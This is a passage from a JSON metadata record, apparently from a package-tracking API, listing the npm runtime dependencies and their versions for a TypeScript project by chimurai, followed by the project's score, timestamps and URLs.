_name":"normalize-path","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744410,"package_name":"npm-run-path","ecosystem":"npm","requirements":"4.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744411,"package_name":"npm-run-path","ecosystem":"npm","requirements":"5.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893744412,"package_name":"object-assign","ecosystem":"npm","requirements":"4.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893744414,"package_name":"object-inspect","ecosystem":"npm","requirements":"1.12.3","direct":false,"kind":"runtime","optional":false},{"id":15893744416,"package_name":"on-finished","ecosystem":"npm","requirements":"2.4.1","direct":false,"kind":"runtime","optional":false},{"id":15893744418,"package_name":"on-finished","ecosystem":"npm","requirements":"2.3.0","direct":false,"kind":"runtime","optional":false},{"id":15893744420,"package_name":"once","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"runtime","optional":false},{"id":15893744422,"package_name":"onetime","ecosystem":"npm","requirements":"5.1.2","direct":false,"kind":"runtime","optional":false},{"id":15893744424,"package_name":"onetime","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744427,"package_name":"open","ecosystem":"npm","requirements":"8.4.2","direct":false,"kind":"runtime","optional":false},{"id":15893744429,"package_name":"open","ecosystem":"npm","requirements":"9.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893744431,"package_name":"openurl","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893744433,"package_name":"opn","ecosystem":"npm","requirements":"5.3.0","direct":false,"kind":"runtime","optional":false},{"id":15893744435,"package_name":"optionator","ecosystem":"npm","requirements":"0.9.3","direct":false,"kind":"runtime","optional":false},{"id":15893744437,"package_name":"p-limit","ecosystem":"npm","requirements":"2.3.0","direct":false,"kind":"runtime","optional":false},{"id":15893744440,"package_name":"p-limit","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893744442,"package_name":"p-locate","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893744445,"package_name":"p-locate","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744447,"package_name":"p-try","ecosystem":"npm","requirements":"2.2.0","direct":false,"kind":"runtime","optional":false},{"id":15893744449,"package_name":"pac-proxy-agent","ecosystem":"npm","requirements":"7.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744451,"package_name":"pac-resolver","ecosystem":"npm","requirements":"7.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744454,"package_name":"parent-module","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744456,"package_name":"parse-json","ecosystem":"npm","requirements":"5.2.0","direct":false,"kind":"runtime","optional":false},{"id":15893744459,"package_name":"parse-multipart-data","ecosystem":"npm","requirements":"1.5.0","direct":false,"kind":"runtime","optional":false},{"id":15893744462,"package_name":"parseurl","ecosystem":"npm","requirements":"1.3.3","direct":false,"kind":"runtime","optional":false},{"id":15893744465,"package_name":"path-exists","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744468,"package_name":"path-is-absolute","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744471,"package_name":"path-key","ecosystem":"npm","requirements":"3.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893744473,"package_name":"path-key","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744475,"package_name":"path-parse","ecosystem":"npm","requirements":"1.0.7","direct":false,"kind":"runtime","optional":false},{"id":15893744477,"package_name":"path-to-regexp","ecosystem":"npm","requirements":"0.1.7","direct":false,"kind":"runtime","optional":false},{"id":15893744480,"package_name":"path-type","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744482,"package_name":"performance-now","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893744484,"package_name":"picocolors","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744487,"package_name":"picomatch","ecosystem":"npm","requirements":"2.3.1","direct":false,"kind":"runtime","optional":false},{"id":15893744489,"package_name":"pidtree","ecosystem":"npm","requirements":"0.6.0","direct":false,"kind":"runtime","optional":false},{"id":15893744491,"package_name":"pify","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744493,"package_name":"pirates","ecosystem":"npm","requirements":"4.0.6","direct":false,"kind":"runtime","optional":false},{"id":15893744496,"package_name":"pkg-dir","ecosystem":"npm","requirements":"4.2.0","direct":false,"kind":"runtime","optional":false},{"id":15893744498,"package_name":"portfinder","ecosystem":"npm","requirements":"1.0.28","direct":false,"kind":"runtime","optional":false},{"id":15893744500,"package_name":"portscanner","ecosystem":"npm","requirements":"2.2.0","direct":false,"kind":"runtime","optional":false},{"id":15893744503,"package_name":"prelude-ls","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"runtime","optional":false},{"id":15893744506,"package_name":"prettier-linter-helpers","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744508,"package_name":"prettier","ecosystem":"npm","requirements":"3.0.3","direct":false,"kind":"runtime","optional":false},{"id":15893744511,"package_name":"pretty-format","ecosystem":"npm","requirements":"29.6.3","direct":false,"kind":"runtime","optional":false},{"id":15893744513,"package_name":"process-nextick-args","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744516,"package_name":"prompts","ecosystem":"npm","requirements":"2.4.2","direct":false,"kind":"runtime","optional":false},{"id":15893744518,"package_name":"proxy-addr","ecosystem":"npm","requirements":"2.0.7","direct":false,"kind":"runtime","optional":false},{"id":15893744521,"package_name":"punycode","ecosystem":"npm","requirements":"2.3.0","direct":false,"kind":"runtime","optional":false},{"id":15893744523,"package_name":"pure-rand","ecosystem":"npm","requirements":"6.0.2","direct":false,"kind":"runtime","optional":false},{"id":15893744526,"package_name":"qs","ecosystem":"npm","requirements":"6.11.0","direct":false,"kind":"runtime","optional":false},{"id":15893744528,"package_name":"qs","ecosystem":"npm","requirements":"6.11.2","direct":false,"kind":"runtime","optional":false},{"id":15893744530,"package_name":"queue-microtask","ecosystem":"npm","requirements":"1.2.3","direct":false,"kind":"runtime","optional":false},{"id":15893744532,"package_name":"quick-lru","ecosystem":"npm","requirements":"4.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744535,"package_name":"quick-lru","ecosystem":"npm","requirements":"5.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893744537,"package_name":"range-parser","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"runtime","optional":false},{"id":15893744539,"package_name":"raw-body","ecosystem":"npm","requirements":"2.5.1","direct":false,"kind":"runtime","optional":false},{"id":15893744541,"package_name":"raw-body","ecosystem":"npm","requirements":"2.5.2","direct":false,"kind":"runtime","optional":false},{"id":15893744544,"package_name":"react-is","ecosystem":"npm","requirements":"18.2.0","direct":false,"kind":"runtime","optional":false},{"id":15893744546,"package_name":"read-pkg-up","ecosystem":"npm","requirements":"7.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744549,"package_name":"read-pkg","ecosystem":"npm","requirements":"5.2.0","direct":false,"kind":"runtime","optional":false},{"id":15893744552,"package_name":"read-tls-client-hello","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744711,"package_name":"readable-stream","ecosystem":"npm","requirements":"3.6.2","direct":false,"kind":"runtime","optional":false},{"id":15893744712,"package_name":"readable-stream","ecosystem":"npm","requirements":"2.3.8","direct":false,"kind":"runtime","optional":false},{"id":15893744713,"package_name":"readdirp","ecosystem":"npm","requirements":"3.6.0","direct":false,"kind":"runtime","optional":false},{"id":15893744714,"package_name":"redent","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744715,"package_name":"require-directory","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893744716,"package_name":"require-from-string","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"runtime","optional":false},{"id":15893744717,"package_name":"requires-port","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744718,"package_name":"resolve-alpn","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"runtime","optional":false},{"id":15893744719,"package_name":"resolve-cwd","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744720,"package_name":"resolve-from","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744721,"package_name":"resolve-from","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744722,"package_name":"resolve-global","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744723,"package_name":"resolve.exports","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"runtime","optional":false},{"id":15893744724,"package_name":"resolve","ecosystem":"npm","requirements":"1.22.4","direct":false,"kind":"runtime","optional":false},{"id":15893744725,"package_name":"resp-modifier","ecosystem":"npm","requirements":"6.0.2","direct":false,"kind":"runtime","optional":false},{"id":15893744726,"package_name":"restore-cursor","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744727,"package_name":"reusify","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"runtime","optional":false},{"id":15893744728,"package_name":"rfdc","ecosystem":"npm","requirements":"1.3.0","direct":false,"kind":"runtime","optional":false},{"id":15893744729,"package_name":"rimraf","ecosystem":"npm","requirements":"3.0.2","direct":false,"kind":"runtime","optional":false},{"id":15893744730,"package_name":"run-applescript","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744731,"package_name":"run-parallel","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"runtime","optional":false},{"id":15893744732,"package_name":"rx","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893744733,"package_name":"safe-buffer","ecosystem":"npm","requirements":"5.2.1","direct":false,"kind":"runtime","optional":false},{"id":15893744734,"package_name":"safe-buffer","ecosystem":"npm","requirements":"5.1.2","direct":false,"kind":"runtime","optional":false},{"id":15893744735,"package_name":"safer-buffer","ecosystem":"npm","requirements":"2.1.2","direct":false,"kind":"runtime","optional":false},{"id":15893744736,"package_name":"semver","ecosystem":"npm","requirements":"5.7.2","direct":false,"kind":"runtime","optional":false},{"id":15893744737,"package_name":"semver","ecosystem":"npm","requirements":"7.5.4","direct":false,"kind":"runtime","optional":false},{"id":15893744738,"package_name":"semver","ecosystem":"npm","requirements":"6.3.1","direct":false,"kind":"runtime","optional":false},{"id":15893744739,"package_name":"send","ecosystem":"npm","requirements":"0.16.2","direct":false,"kind":"runtime","optional":false},{"id":15893744740,"package_name":"send","ecosystem":"npm","requirements":"0.18.0","direct":false,"kind":"runtime","optional":false},{"id":15893744741,"package_name":"serve-index","ecosystem":"npm","requirements":"1.9.1","direct":false,"kind":"runtime","optional":false},{"id":15893744742,"package_name":"serve-static","ecosystem":"npm","requirements":"1.13.2","direct":false,"kind":"runtime","optional":false},{"id":15893744743,"package_name":"serve-static","ecosystem":"npm","requirements":"1.15.0","direct":false,"kind":"runtime","optional":false},{"id":15893744744,"package_name":"server-destroy","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744745,"package_name":"setprototypeof","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893744746,"package_name":"setprototypeof","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"runtime","optional":false},{"id":15893744747,"package_name":"shebang-command","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744748,"package_name":"shebang-regex","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744749,"package_name":"side-channel","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"runtime","optional":false},{"id":15893744750,"package_name":"signal-exit","ecosystem":"npm","requirements":"3.0.7","direct":false,"kind":"runtime","optional":false},{"id":15893744751,"package_name":"sisteransi","ecosystem":"npm","requirements":"1.0.5","direct":false,"kind":"runtime","optional":false},{"id":15893744752,"package_name":"slash","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744753,"package_name":"slice-ansi","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744754,"package_name":"smart-buffer","ecosystem":"npm","requirements":"4.2.0","direct":false,"kind":"runtime","optional":false},{"id":15893744755,"package_name":"socket.io-adapter","ecosystem":"npm","requirements":"2.5.2","direct":false,"kind":"runtime","optional":false},{"id":15893744756,"package_name":"socket.io-client","ecosystem":"npm","requirements":"4.7.2","direct":false,"kind":"runtime","optional":false},{"id":15893744757,"package_name":"socket.io-parser","ecosystem":"npm","requirements":"4.2.4","direct":false,"kind":"runtime","optional":false},{"id":15893744758,"package_name":"socket.io","ecosystem":"npm","requirements":"4.7.2","direct":false,"kind":"runtime","optional":false},{"id":15893744759,"package_name":"socks-proxy-agent","ecosystem":"npm","requirements":"7.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744760,"package_name":"socks-proxy-agent","ecosystem":"npm","requirements":"8.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744761,"package_name":"socks","ecosystem":"npm","requirements":"2.7.1","direct":false,"kind":"runtime","optional":false},{"id":15893744762,"package_name":"source-map-support","ecosystem":"npm","requirements":"0.5.13","direct":false,"kind":"runtime","optional":false},{"id":15893744763,"package_name":"source-map","ecosystem":"npm","requirements":"0.6.1","direct":false,"kind":"runtime","optional":false},{"id":15893744764,"package_name":"spdx-correct","ecosystem":"npm","requirements":"3.2.0","direct":false,"kind":"runtime","optional":false},{"id":15893744765,"package_name":"spdx-exceptions","ecosystem":"npm","requirements":"2.3.0","direct":false,"kind":"runtime","optional":false},{"id":15893744766,"package_name":"spdx-expression-parse","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744767,"package_name":"spdx-license-ids","ecosystem":"npm","requirements":"3.0.13","direct":false,"kind":"runtime","optional":false},{"id":15893744768,"package_name":"split2","ecosystem":"npm","requirements":"3.2.2","direct":false,"kind":"runtime","optional":false},{"id":15893744769,"package_name":"sprintf-js","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"runtime","optional":false},{"id":15893744770,"package_name":"stack-utils","ecosystem":"npm","requirements":"2.0.6","direct":false,"kind":"runtime","optional":false},{"id":15893744771,"package_name":"statuses","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744772,"package_name":"statuses","ecosystem":"npm","requirements":"1.5.0","direct":false,"kind":"runtime","optional":false},{"id":15893744773,"package_name":"statuses","ecosystem":"npm","requirements":"1.3.1","direct":false,"kind":"runtime","optional":false},{"id":15893744774,"package_name":"statuses","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"runtime","optional":false},{"id":15893744775,"package_name":"stream-shift","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744776,"package_name":"stream-throttle","ecosystem":"npm","requirements":"0.1.3","direct":false,"kind":"runtime","optional":false},{"id":15893744777,"package_name":"string-argv","ecosystem":"npm","requirements":"0.3.2","direct":false,"kind":"runtime","optional":false},{"id":15893744778,"package_name":"string-length","ecosystem":"npm","requirements":"4.0.2","direct":false,"kind":"runtime","optional":false},{"id":15893744779,"package_name":"string-width","ecosystem":"npm","requirements":"4.2.3","direct":false,"kind":"runtime","optional":false},{"id":15893744780,"package_name":"string-width","ecosystem":"npm","requirements":"5.1.2","direct":false,"kind":"runtime","optional":false},{"id":15893744781,"package_name":"string_decoder","ecosystem":"npm","requirements":"1.3.0","direct":false,"kind":"runtime","optional":false},{"id":15893744782,"package_name":"string_decoder","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893744783,"package_name":"strip-ansi","ecosystem":"npm","requirements":"6.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744784,"package_name":"strip-ansi","ecosystem":"npm","requirements":"7.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893744785,"package_name":"strip-bom","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744786,"package_name":"strip-final-newline","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744787,"package_name":"strip-final-newline","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744788,"package_name":"strip-indent","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744789,"package_name":"strip-json-comments","ecosystem":"npm","requirements":"3.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893744790,"package_name":"superagent","ecosystem":"npm","requirements":"8.1.2","direct":false,"kind":"runtime","optional":false},{"id":15893744791,"package_name":"supertest","ecosystem":"npm","requirements":"6.3.3","direct":false,"kind":"runtime","optional":false},{"id":15893744792,"package_name":"supports-color","ecosystem":"npm","requirements":"5.5.0","direct":false,"kind":"runtime","optional":false},{"id":15893744793,"package_name":"supports-color","ecosystem":"npm","requirements":"7.2.0","direct":false,"kind":"runtime","optional":false},{"id":15893744794,"package_name":"supports-color","ecosystem":"npm","requirements":"8.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893744795,"package_name":"supports-preserve-symlinks-flag","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744796,"package_name":"symbol-observable","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"runtime","optional":false},{"id":15893744797,"package_name":"synckit","ecosystem":"npm","requirements":"0.8.5","direct":false,"kind":"runtime","optional":false},{"id":15893744798,"package_name":"test-exclude","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744799,"package_name":"text-extensions","ecosystem":"npm","requirements":"1.9.0","direct":false,"kind":"runtime","optional":false},{"id":15893744800,"package_name":"text-table","ecosystem":"npm","requirements":"0.2.0","direct":false,"kind":"runtime","optional":false},{"id":15893744801,"package_name":"through2","ecosystem":"npm","requirements":"4.0.2","direct":false,"kind":"runtime","optional":false},{"id":15893744802,"package_name":"through","ecosystem":"npm","requirements":"2.3.8","direct":false,"kind":"runtime","optional":false},{"id":15893744803,"package_name":"titleize","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744804,"package_name":"tmpl","ecosystem":"npm","requirements":"1.0.5","direct":false,"kind":"runtime","optional":false},{"id":15893744805,"package_name":"to-fast-properties","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744806,"package_name":"to-regex-range","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744807,"package_name":"toidentifier","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893744808,"package_name":"toidentifier","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744809,"package_name":"tr46","ecosystem":"npm","requirements":"0.0.3","direct":false,"kind":"runtime","optional":false},{"id":15893744810,"package_name":"trim-newlines","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893744811,"package_name":"ts-api-utils","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"runtime","optional":false},{"id":15893744812,"package_name":"ts-jest","ecosystem":"npm","requirements":"29.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893744813,"package_name":"ts-node","ecosystem":"npm","requirements":"10.9.1","direct":false,"kind":"runtime","optional":false},{"id":15893744814,"package_name":"tslib","ecosystem":"npm","requirements":"2.6.2","direct":false,"kind":"runtime","optional":false},{"id":15893744815,"package_name":"type-check","ecosystem":"npm","requirements":"0.4.0","direct":false,"kind":"runtime","optional":false},{"id":15893744816,"package_name":"type-detect","ecosystem":"npm","requirements":"4.0.8","direct":false,"kind":"runtime","optional":false},{"id":15893744817,"package_name":"type-fest","ecosystem":"npm","requirements":"0.18.1","direct":false,"kind":"runtime","optional":false},{"id":15893744818,"package_name":"type-fest","ecosystem":"npm","requirements":"0.20.2","direct":false,"kind":"runtime","optional":false},{"id":15893744819,"package_name":"type-fest","ecosystem":"npm","requirements":"0.21.3","direct":false,"kind":"runtime","optional":false},{"id":15893744820,"package_name":"type-fest","ecosystem":"npm","requirements":"0.6.0","direct":false,"kind":"runtime","optional":false},{"id":15893744821,"package_name":"type-fest","ecosystem":"npm","requirements":"0.8.1","direct":false,"kind":"runtime","optional":false},{"id":15893744822,"package_name":"type-fest","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"runtime","optional":false},{"id":15893744823,"package_name":"type-is","ecosystem":"npm","requirements":"1.6.18","direct":false,"kind":"runtime","optional":false},{"id":15893744824,"package_name":"typed-error","ecosystem":"npm","requirements":"3.2.2","direct":false,"kind":"runtime","optional":false},{"id":15893745726,"package_name":"typescript","ecosystem":"npm","requirements":"5.2.2","direct":false,"kind":"runtime","optional":false},{"id":15893745727,"package_name":"ua-parser-js","ecosystem":"npm","requirements":"1.0.35","direct":false,"kind":"runtime","optional":false},{"id":15893745728,"package_name":"universalify","ecosystem":"npm","requirements":"0.1.2","direct":false,"kind":"runtime","optional":false},{"id":15893745729,"package_name":"universalify","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893745730,"package_name":"unpipe","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893745731,"package_name":"untildify","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893745732,"package_name":"update-browserslist-db","ecosystem":"npm","requirements":"1.0.11","direct":false,"kind":"runtime","optional":false},{"id":15893745733,"package_name":"uri-js","ecosystem":"npm","requirements":"4.4.1","direct":false,"kind":"runtime","optional":false},{"id":15893745734,"package_name":"util-deprecate","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"runtime","optional":false},{"id":15893745735,"package_name":"utils-merge","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893745736,"package_name":"uuid","ecosystem":"npm","requirements":"8.3.2","direct":false,"kind":"runtime","optional":false},{"id":15893745737,"package_name":"v8-compile-cache-lib","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893745738,"package_name":"v8-to-istanbul","ecosystem":"npm","requirements":"9.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893745739,"package_name":"validate-npm-package-license","ecosystem":"npm","requirements":"3.0.4","direct":false,"kind":"runtime","optional":false},{"id":15893745740,"package_name":"value-or-promise","ecosystem":"npm","requirements":"1.0.11","direct":false,"kind":"runtime","optional":false},{"id":15893745741,"package_name":"vary","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"runtime","optional":false},{"id":15893745742,"package_name":"walker","ecosystem":"npm","requirements":"1.0.8","direct":false,"kind":"runtime","optional":false},{"id":15893745743,"package_name":"webidl-conversions","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"runtime","optional":false},{"id":15893745744,"package_name":"whatwg-url","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893745745,"package_name":"which","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"runtime","optional":false},{"id":15893745746,"package_name":"wrap-ansi","ecosystem":"npm","requirements":"7.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893745747,"package_name":"wrap-ansi","ecosystem":"npm","requirements":"8.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893745748,"package_name":"wrappy","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"runtime","optional":false},{"id":15893745749,"package_name":"write-file-atomic","ecosystem":"npm","requirements":"4.0.2","direct":false,"kind":"runtime","optional":false},{"id":15893745750,"package_name":"ws","ecosystem":"npm","requirements":"8.13.0","direct":false,"kind":"runtime","optional":false},{"id":15893745751,"package_name":"ws","ecosystem":"npm","requirements":"8.11.0","direct":false,"kind":"runtime","optional":false},{"id":15893745752,"package_name":"xmlhttprequest-ssl","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893745753,"package_name":"xtend","ecosystem":"npm","requirements":"4.0.2","direct":false,"kind":"runtime","optional":false},{"id":15893745754,"package_name":"y18n","ecosystem":"npm","requirements":"5.0.8","direct":false,"kind":"runtime","optional":false},{"id":15893745755,"package_name":"yallist","ecosystem":"npm","requirements":"3.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893745756,"package_name":"yallist","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":15893745757,"package_name":"yaml","ecosystem":"npm","requirements":"2.3.1","direct":false,"kind":"runtime","optional":false},{"id":15893745758,"package_name":"yargs-parser","ecosystem":"npm","requirements":"20.2.9","direct":false,"kind":"runtime","optional":false},{"id":15893745759,"package_name":"yargs-parser","ecosystem":"npm","requirements":"21.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893745760,"package_name":"yargs","ecosystem":"npm","requirements":"17.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893745761,"package_name":"yargs","ecosystem":"npm","requirements":"17.7.2","direct":false,"kind":"runtime","optional":false},{"id":15893745762,"package_name":"yn","ecosystem":"npm","requirements":"3.1.1","direct":false,"kind":"runtime","optional":false},{"id":15893745763,"package_name":"yocto-queue","ecosystem":"npm","requirements":"0.1.0","direct":false,"kind":"runtime","optional":false},{"id":15893745764,"package_name":"zstd-codec","ecosystem":"npm","requirements":"0.1.4","direct":false,"kind":"runtime","optional":false}]}],"score":35.20773593307575,"created_at":"2026-07-08T09:03:47.559Z","updated_at":"2026-07-11T11:30:24.169Z","avatar_url":"https://github.com/chimurai.png","language":"TypeScript","codemeta":null,"publiccode":null,"project_url":"https://summary.ecosyste.ms/api/v1/projects/378583","html_url":"https://summary.ecosyste.ms/projects/378583"}